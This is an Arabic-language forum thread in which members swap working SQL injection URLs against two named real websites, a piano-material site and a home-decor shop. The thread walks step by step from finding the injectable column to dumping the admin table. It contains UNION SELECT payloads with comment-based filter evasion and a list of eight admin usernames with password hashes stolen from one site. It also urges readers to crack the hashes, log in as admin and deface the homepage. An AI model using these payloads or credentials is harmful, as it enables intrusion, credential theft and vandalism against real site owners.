العدد (3) من غرفة الحقن

اول حقنة لي
http://www.thecompletepianist.com/material.php?id=-18 UNION SELECT 1,2,concat(id,0x3a,password),4,5,6,7,8+from+users--

شباب في من استطاع حقن الموقع ؟

وينكم ؟

السلام عليكم
فين هو الموقع لي مقدرتوش تحقنوه
راح احاول معه

هذا هو
http://www.myhomedeco.com/list.php?cat=11&sub=13

الحفن جارييييي
+
هل وجدت صفحة الادمين

ارجو انك تحط كيفية الحقن

ممممممممممممممم
كان عندكم غلط الملف الي كنتو بتحقنوه غلط
ليش مادورتو بالموقع

الجداول

http://www.myhomedeco.com/readmore.php?id=-195 UNION /*!SELECT*/ 1,/*!concat(table_name,0x3a,column_name,0x3a,table_schema)*/,3,4,5,6,7,8,9,10+from+information_schema.columns+/*!where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)*/--

http://www.myhomedeco.com/readmore.php?id=-195 UNION /*!SELECT*/ 1,/*!concat(table_name,0x3a,column_name,0x3a,table_schema)*/,3,4,5,6,7,8,9,10+from+information_schema.columns+/*!where+table_name=0x61646d696e*/--

http://www.myhomedeco.com/readmore.php?id=-195 UNION /*!SELECT*/ 1,/*!concat(user,0x3a,id,0x3a,password)*/,3,4,5,6,7,8,9,10+from+admin--

اكي
انتهيت من الحقن لكن لم اقدر ان افك الهاشات
الحقنة
http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,/*!concat(user,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ,22,23,24+from+admin--

الادمينات و الهاشات بتاعهم
kuk:0a7cbc04b0e5a047407de5556bb99542
chong:6e19a655a1fe490a75dfcca574298089
ianlim:57ff8d037882f43234d9f609be931467
eric:89aaef11c84fdc284cf82d34011a6689
icend:44fa5a7b7b8e7076ea0e22c44c204f21
trista:a616a8f4611ba44dcc767037f95b8499
dickson:6fbfa006e738d6cacfd07cfb0db30943
kevin:22f817152870de9650df97cb4b1bc98c

فكو الهاشات و ادخلو الادمن و ارفعو الاندكس :x
اتمنى ان اكون افدتكم

هههههههه
سبقتني يا اخ عبد الصمد يبدو ان النت عندك احسن من التي عندك
لاني مند مدة و انا انتضر ان يرفع الرد للمنتدى :s
على العموم واصل بدون ما تفاصل :c

من البداية الى النهاية

العمود المصاب رقم 2

اصدار قاعدة البيانات 5

http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,/*!concat(table_name,0x3a,column_name,0x3a,table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+/*!information_schema.columns*/--

http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,/*!concat(table_name,0x3a,column_name,0x3a,table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+/*!information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)*/--

http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,/*!concat(table_name,0x3a,column_name,0x3a,table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+/*!information_schema.columns+where+table_name=0x61646d696e*/--

http://www.myhomedeco.com/list.php?cat=11&sub=13 UNION /*!select*/ 1,/*!concat(user,0x3a,id,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+admin*/--

في موقع اخر ؟